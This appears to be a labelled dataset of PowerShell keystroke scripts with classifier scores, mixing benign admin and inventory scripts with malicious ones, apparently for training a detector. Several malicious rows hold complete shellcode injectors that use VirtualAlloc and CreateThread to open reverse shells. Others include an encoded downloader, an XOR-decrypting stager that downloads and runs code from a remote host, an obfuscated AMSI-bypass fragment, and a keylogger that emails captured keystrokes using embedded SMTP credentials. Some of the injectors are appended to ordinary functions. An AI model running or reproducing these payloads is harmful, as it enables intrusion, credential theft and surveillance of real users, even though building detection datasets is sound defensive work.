""root\SMS\site_$($SiteCode)"" -Class ""SMS_ApplicationLatest"" -ComputerName $SiteServer -ErrorAction Stop enter $ApplicationCount = ($Applications | Measure-Object).Count enter foreach ($Application in $Applications) { enter if ($PSBoundParameters[""ShowProgress""]) { enter $ProgressCount++ enter Write-Progress -Activity ""Enumerating Applications for dependencies"" -Status ""Application $($ProgressCount) / $($ApplicationCount)"" -Id 1 -PercentComplete (($ProgressCount / $ApplicationCount) * 100) enter } enter $ApplicationName = $Application.LocalizedDisplayName enter enter $Application.Get() enter enter $ApplicationXML = [Microsoft.ConfigurationManagement.ApplicationManagement.Serialization.SccmSerializer]::DeserializeFromString($Application.SDMPackageXML, $true) enter foreach ($DeploymentType in $ApplicationXML.DeploymentTypes) { enter if ([int]$DeploymentType.Dependencies.Count -ge 1) { enter $PSObject = [PSCustomObject]@{ enter ApplicationName = $ApplicationName enter DeploymentTypeName = $DeploymentType.Title enter DependencyCount = $DeploymentType.Dependencies.Count enter DependencyGroupName = $DeploymentType.Dependencies.Name enter DependentApplication = $DeploymentType.Dependencies.Expression.Operands | ForEach-Object { enter Get-WmiObject -Namespace ""root\SMS\site_$($SiteCode)"" -Class ""SMS_ApplicationLatest"" -ComputerName $SiteServer -Filter ""CI_UniqueID like '$($_.ApplicationAuthoringScopeId)%$($_.ApplicationLogicalName)%'"" | Select-Object -ExpandProperty LocalizedDisplayName enter } enter EnforceDesiredState = $DeploymentType.Dependencies.Expression.Operands.EnforceDesiredState enter } enter Write-Output -InputObject $PSObject enter } enter } enter } enter } enter catch [System.Exception] { enter Write-Warning -Message $_.Exception.Message ; break enter } enter } enter End { enter if ($PSBoundParameters[""ShowProgress""]) { enter Write-Progress -Activity ""Enumerating Applications for dependencies"" -Id 1 -Completed enter } enter } enter enter",0,0,0.9999535,4.649621e-05
"win+r powershell enter task default -depends Test enter task Test -depends Compile, Clean -PreAction {""Pre-Test""} -PostAction {""Post-Test""} enter task Compile -depends Clean { enter ""Compile"" enter } enter task Clean { enter ""Clean"" enter } enter",0,0,0.99963796,0.00036203052
"win+r powershell enter Import-Module C:\git-repositories\PowerShell\MSFVMLab\MSFVMLab.psm1 -Force $Lab enter Config = Get-Content C:\git-repositories\PowerShell\MSFVMLab\LabVMS.json | Conve enter rtFrom-Json $WorkingDirectory = $LabConfig.WorkingDirectory If(-not (Test-Path enter $WorkingDirectory)){ Write-Error ""$WorkingDirectory does not exist!"" -ErrorActi enter on Stop } foreach($network in $LabConfig.Switches){ If(!(Get-VMSwitch $network enter .Name -ErrorAction SilentlyContinue)){ New-VMSwitch -Name $network.Name -Switch enter Type $network.Type enter enter",1,1,0.0071834493,0.99281657
PowersheLL -E JABUAE8ARgBFAEkAcABoAGEAPQAnAEkAWABHAFAAUAByAG4AcgAnADsAWwBOAGUAdA enter AuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIASQ enter B0AHkAYABQAGAAUgBvAGAAVABgAG8AYwBvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQ enter AxACwAIAB0AGwAcwAnADsAJABTAFoAVwBVAEUAZAB4AGwAIAA9ACAAJwA3ADMAOQAnADsAJABZAFEAUA enter BOAEQAeQBkAGoAPQAnAFUATwBLAEwAUwBzAHoAaAAnADsAJABTAE0ASgBNAFcAegBwAHMAPQAkAGUAbg enter B2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAWgBXAFUARQBkAHgAbAArACcALg enter BlAHgAZQAnADsAJABOAEUAVQBGAFYAZgBoAHYAPQAnAEMASgBGAEgATQBrAGIAbgAnADsAJABHAEsASA enter BJAE4AagBqAGcAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4ARQ enter BUAC4AdwBFAEIAYwBsAEkAZQBuAFQAOwAkAEsATQBQAEQAVwB0AHcAaQA9ACcAaAB0AHQAcAA6AC8ALw enter B3AHcAdwAuAG0AbwB2AGUAcgB2AGkAcwBlAHUALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALw enter BqAGwAMQA3ADMALwAqAGgAdAB0AHAAOgAvAC8AYgBvAHMAdABvAG4AcwBlAGEAZgBhAHIAbQBzAC4AYw enter BvAG0ALwBpAG0AYQBnAG enter,1,1,6.270793e-05,0.9999373
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x77,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.15984e-05,0.9999484
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_e6kpduht"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.txt"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.46084e-05
"win+r enter powershell enter enter enter function Get-DevSpacesControllerName enter { enter return 'devspaces' + (getAssetName) enter } enter function Get-DevSpacesControllerTagKey enter { enter return 'tagKey' + (getAssetName) enter } enter function Get-DevSpacesControllerTagValue enter { enter return 'tagValue' + (getAssetName) enter } enter function Assert-AreEqualPSController($controller1, $controller2) enter { enter Assert-AreEqual $controller1.Name $controller2.Name enter Assert-AreEqual $controller1.ResourceGroupName $controller2.ResourceGroupName enter Assert-AreEqual $controller1.ProvisioningState $controller2.ProvisioningState enter Assert-AreEqual $controller1.Location $controller2.Location enter } enter enter",0,0,0.9998915,0.00010848751
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_cbexrkbx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $PSVersionTable | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.json"") -Encoding UTF8 enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_running.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3834945e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_8eqo1x4j"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.json"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.json"") -Encoding UTF8 enter",0,0,0.99996555,3.445521e-05
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install chocolateygui enter A enter enter enter,0,0,0.9999597,4.0268464e-05
"win+r powershell enter #Unknown - Force error $vJmBK=$null;$xklafuku=[$(('Sy'+'st'+'em').noRmAlize([cH enter AR](70+39-39)+[ChAR](111)+[cHAR](114+10-10)+[cHaR]([byTe]0x6d)+[cHaR]([BYte]0x44 enter )) -replace [CHaR](92*3/3)+[ChAr]([byte]0x70)+[cHaR](68+55)+[CHAr](77)+[chAr]([b enter yTE]0x6e)+[CHaR]([byTE]0x7d)).Runtime.InteropServices.Marshal]::AllocHGlobal((90 enter 76*731/731));$jfjfdo=""+[chAR](110)+[CHaR]([Byte]0x6b)+[chAr]([BytE]0x66)+[ChAR]( enter 95+22)+[Char]([bYte]0x6b)+[ChAr]([bYte]0x67)"";[Threading.Thread]::Sleep(1490);[R enter ef].Assembly.GetType(""$(('Sy'+'st'+'em').noRmAlize([cHAR](70+39-39)+[ChAR](111)+ enter [cHAR](114+10-10)+[cHaR]([byTe]0x6d)+[cHaR]([BYte]0x44)) -replace [CHaR](92*3/3) enter +[ChAr]([byte]0x70)+[cHaR](68+55)+[CHAr](77)+[chAr]([byTE]0x6e)+[CHaR]([byTE]0x7 enter d)).$([ChAR]([BYTe]0x4d)+[cHAr]([byTe]0x61)+[char](110*68/68)+[CHAr]([BytE]0x61) enter +[cHaR]([bYte]0x67)+[ChaR]([BytE]0x65)+[Char](109*84/84)+[CHAR]([bYTE]0x65)+[CHa enter r](110*71/71)+[cHAr] enter enter",1,1,5.2330808e-05,0.99994767
"win+r powershell enter function Remove-PSFLicense { [CmdletBinding(SupportsShouldProcess = $true, Co enter nfirmImpact = 'Low', HelpUri = 'https://psframework.org/documentation/commands/P enter SFramework/Remove-PSFLicense')] Param ( [Parameter(Mandatory = $true, ValueFro enter mPipeline = $true)] [PSFramework.License.License[]] $License, [switch] $En enter ableException ) enter",1,1,0.0068929596,0.993107
"win+r powershell enter  function Set-AzAdvisorConfigurationWithLowCpu { $propertiesCount = 4 $lowCp enter uThresholdParameter = 20 $cmdletReturnType = ""Microsoft.Azure.Commands.Advisor. enter Cmdlets.Models.PsAzureAdvisorConfigurationData"" $TypeValue = ""Microsoft.Advisor enter /Configurations"" $queryResult = Set-AzAdvisorConfiguration -LowCpuThreshold $l enter owCpuThresholdParameter Assert-NotNull $queryResult enter enter",1,1,0.0036661986,0.99633384
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_7d9joqvb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4595072e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_vyj0fw7g"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 3 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.txt"") -Encoding UTF8 enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_module_paths.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4573895e-05
"win+r enter powershell enter enter enter $TimesToRun = 2 enter $RunTimeP = 1 enter $From = ""thefog_66@yahoo.com"" enter $Username = ""23fb06ddd1cc42"" enter $Pass = ""fa773ebf83a9a2"" enter $To = ""abdulla.abousaif@gmail.com"" enter $Subject = ""Keylogger Results"" enter $body = ""Keylogger Results"" enter $SMTPServer = ""smtp.mailtrap.io"" enter $SMTPPort = ""587"" enter $credentials = new-object Management.Automation.PSCredential $Username, ($Pass | ConvertTo-SecureString -AsPlainText -Force) enter ############################ enter #requires -Version 2 enter function Start-KeyLogger($Path=""$env:temp\keylogger.txt"") enter { enter # Signatures for API Calls enter $signatures = @' enter [DllImport(""user32.dll"", CharSet=CharSet.Auto, ExactSpelling=true)] enter public static extern short GetAsyncKeyState(int virtualKeyCode); enter [DllImport(""user32.dll"", CharSet=CharSet.Auto)] enter public static extern int GetKeyboardState(byte[] keystate); enter [DllImport(""user32.dll"", CharSet=CharSet.Auto)] enter public static extern int MapVirtualKey(uint uCode, int uMapType); enter [DllImport(""user32.dll"", CharSet=CharSet.Auto)] enter public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); enter '@ enter enter # load signatures and make members available enter $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru enter enter # create output file enter $null = New-Item -Path $Path -ItemType File -Force enter enter try enter { enter enter # create endless loop. When user presses CTRL+C, finally-block enter # executes and shows the collected key presses enter $Runner = 0 enter while ($TimesToRun -gt $Runner) { enter $TimeStart = Get-Date enter $TimeEnd = $timeStart.addminutes($RunTimeP) enter while ($TimeEnd -gt $TimeNow) { enter Start-Sleep -Milliseconds 40 enter enter # scan all ASCII codes above 8 enter for ($ascii = 9; $ascii -le 254; $ascii++) { enter # get current key state enter $state = $API::GetAsyncKeyState($ascii) enter enter # is key pressed? enter if ($state -eq -32767) { enter $null = [console]::CapsLock enter enter # translate scan code to real code enter $virtualKey = $API::MapVirtualKey($ascii, 3) enter enter # get keyboard state for virtual keys enter $kbstate = New-Object Byte[] 256 enter $checkkbstate = $API::GetKeyboardState($kbstate) enter enter # prepare a StringBuilder to receive input key enter $mychar = New-Object -TypeName System.Text.StringBuilder enter enter # translate virtual key enter $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0) enter enter if ($success) enter { enter # add key to logger file enter [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) enter } enter } enter } enter $TimeNow = Get-Date enter } enter $Runner++ enter send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl enter Remove-Item -Path $Path -force enter } enter } enter finally enter { enter # open logger file in Notepad enter exit 1 enter } enter } enter enter # records all key presses until script is aborted by pressing CTRL+C enter # will then open the file with collected key codes enter Start-KeyLogger enter enter",1,1,0.00012139931,0.99987864
"win+r powershell enter $Wc=New-OBjEcT SYSTeM.NET.WebCliENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trid enter ent/7.0; rv:11.0) like Gecko';$WC.HeADeRs.Add('User-Agent',$u);$Wc.PrOXy = [SysT enter Em.NeT.WEbREquest]::DeFAultWEbPROXy;$WC.Proxy.CREdENTiAls = [SyStem.Net.CredENtI enter AlCaChE]::DefauLtNetWoRkCREDeNtIalS;$K='VwW%4edr~]@{qS7E,>AbM)UhO5y^1LCZ';$I=0;[ enter char[]]$B=([ChAr[]]($wc.DOwNloAdString(""http://192.168.66.128:8080/index.asp""))) enter |%{$_-bXoR$K[$I++%$K.LENgtH]};IEX ($b-JOiN'') enter enter",1,1,5.6122688e-05,0.99994385
"win+r powershell enter properties { $my_property = $p1 + $p2 } task default -depends TestParams tas enter k TestParams { Assert ($my_property -ne $null) ""`$my_property should not be nul enter l. Run with -parameters @{'p1' = 'v1'; 'p2' = 'v2'}"" } $c = '[DllImport(""kernel enter 32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, enter uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static enter extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr enter lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[Dl enter lImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, enter uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32F enter unctions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89 enter ,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28 enter ,0x0f,0xb7,0x4a,0x26 enter enter",1,1,5.1552714e-05,0.9999485
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_k881i05j"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_25.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.386865e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_eupse46r"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64 | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_memory_25.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4476503e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xd9,0xd9,0x06,0x7d,0x68,0x02,0x00,0x1e,0x61,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1934876e-05,0.999948
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_fqw0a0x7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 25 ProcessName, Id, StartTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_25.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4635905e-05
"win+r enter powershell enter enter enter function Get-InstalledModuleAuthenticodeSignature enter { enter [CmdletBinding()] enter Param( enter [Parameter(Mandatory=$true)] enter [PSModuleInfo] enter $InstalledModuleInfo, enter enter [Parameter(Mandatory=$true)] enter [string] enter $InstallLocation enter ) enter enter $ModuleName = $InstalledModuleInfo.Name enter $AvailableModules = Microsoft.PowerShell.Core\Get-Module -ListAvailable ` enter -Name $ModuleName ` enter -ErrorAction SilentlyContinue ` enter -WarningAction SilentlyContinue ` enter -Verbose:$false | enter Microsoft.PowerShell.Utility\Sort-Object -Property Version -Descending enter if(Test-ModuleSxSVersionSupport) enter { enter $InstallLocation = Microsoft.PowerShell.Management\Split-Path -Path $InstallLocation enter } enter enter $SourceModule = $AvailableModules | Microsoft.PowerShell.Core\Where-Object { enter $_.ModuleBase.StartsWith($InstallLocation, [System.StringComparison]::OrdinalIgnoreCase) enter } | Microsoft.PowerShell.Utility\Select-Object -First 1 -ErrorAction Ignore enter enter if(-not $SourceModule) enter { enter $SourceModule = $AvailableModules | Microsoft.PowerShell.Utility\Select-Object -First 1 -ErrorAction Ignore enter } enter else enter { enter $SourceModule = $InstalledModuleInfo enter } enter enter $SignedFilePath = $SourceModule.Path enter enter $CatalogFileName = ""$ModuleName.cat"" enter $CatalogFilePath = Microsoft.PowerShell.Management\Join-Path -Path $SourceModule.ModuleBase -ChildPath $CatalogFileName enter enter if(Microsoft.PowerShell.Management\Test-Path -Path $CatalogFilePath -PathType Leaf) enter { enter $message = $LocalizedData.CatalogFileFound -f ($CatalogFileName, $ModuleName) enter Write-Debug -Message $message enter enter $SignedFilePath = $CatalogFilePath enter } enter else enter { enter Write-Debug -Message ($LocalizedData.CatalogFileNotFoundInAvailableModule -f ($CatalogFileName, $ModuleName)) enter } enter enter $message = ""Using the previously-installed module '{0}' with version '{1}' under '{2}' for getting the publisher details."" -f ($SourceModule.Name, $SourceModule.Version, $SourceModule.ModuleBase) enter Write-Debug -Message $message enter enter $message = ""Using the '{0}' file for getting the authenticode signature."" -f ($SignedFilePath) enter Write-Debug -Message $message enter enter $AuthenticodeSignature = Microsoft.PowerShell.Security\Get-AuthenticodeSignature -FilePath $SignedFilePath enter $ModuleDetails = $null enter enter if($AuthenticodeSignature) enter { enter $ModuleDetails = @{} enter $ModuleDetails['AuthenticodeSignature'] = $AuthenticodeSignature enter $ModuleDetails['Version'] = $SourceModule.Version enter $ModuleDetails['ModuleBase']=$SourceModule.ModuleBase enter $ModuleDetails['IsMicrosoftCertificate'] = Test-MicrosoftCertificate -AuthenticodeSignature $AuthenticodeSignature enter $PublisherDetails = Get-AuthenticodePublisher -AuthenticodeSignature $AuthenticodeSignature enter $ModuleDetails['Publisher'] = if($PublisherDetails) {$PublisherDetails.Publisher} enter $ModuleDetails['RootCertificateAuthority'] = if($PublisherDetails) {$PublisherDetails.PublisherRootCA} enter enter $message = $LocalizedData.SourceModuleDetailsForPublisherValidation -f ($ModuleName, $SourceModule.Version, $SourceModule.ModuleBase, $ModuleDetails.Publisher, $ModuleDetails.RootCertificateAuthority, $ModuleDetails.IsMicrosoftCertificate) enter Write-Debug $message enter } enter enter return $ModuleDetails enter } enter $1 = '$c = ''[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr 